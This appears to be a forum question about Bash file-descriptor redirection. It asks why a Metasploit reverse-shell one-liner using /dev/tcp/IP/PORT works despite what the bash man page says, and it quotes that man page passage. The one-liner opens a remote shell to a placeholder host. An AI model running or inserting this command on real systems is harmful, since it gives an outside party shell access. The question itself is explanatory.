I sometimes see Bash reverse shells as the following, where the pseudo file
/dev/tcp/IP/PORT is used in conjunction with redirection (duplication of file descriptors):
0<&202-;exec 202<>/dev/tcp/IP/PORT;sh <&202 >&202 2>&202
However, why does the above command work (from Metasploit)? According to the documentation below (
man bash), then
0<&202- should fail, because
202- is not a valid file descriptor open for input?
Bonus question: Can
/dev/tcp/IP/PORT always be used as both an input file descriptor and as a output file descriptor?
The redirection operator [n]<&word is used to duplicate input file descriptors. If word expands to one or more digits, the file descriptor denoted by n is made to be a copy of that file descriptor. If the digits in word do not specify a file descriptor open for input, a redirection error occurs. If word evaluates to -, file descriptor n is closed. If n is not specified, the standard input (file descriptor 0) is used.